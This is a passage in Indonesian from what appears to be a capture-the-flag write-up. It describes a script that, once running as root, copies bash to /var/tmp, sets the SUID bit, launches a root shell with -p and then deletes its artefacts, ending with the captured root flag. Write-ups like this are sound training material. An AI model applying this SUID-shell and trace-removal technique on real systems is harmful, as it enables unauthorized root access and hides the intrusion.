efektif proses menjadi *root*. 6. **Root Shell** Sebagai *root*, *script* menyalin `/bin/bash` ke `/var/tmp/bash`, memberikannya SUID *bit* (`chmod 4755`), lalu mengeksekusinya dengan flag `-p` untuk mendapatkan *interactive root shell*. Setelah *shell* ditutup, semua artefak yang dibuat akan dihapus. ![image](https://hackmd.io/_uploads/r1TmY-uGel.png) ![image](https://hackmd.io/_uploads/By42_8umxx.png) **ROOT FLAG**: `YtjhYI6r5FS0#IZgZ7Vbn6QTOmw*7f`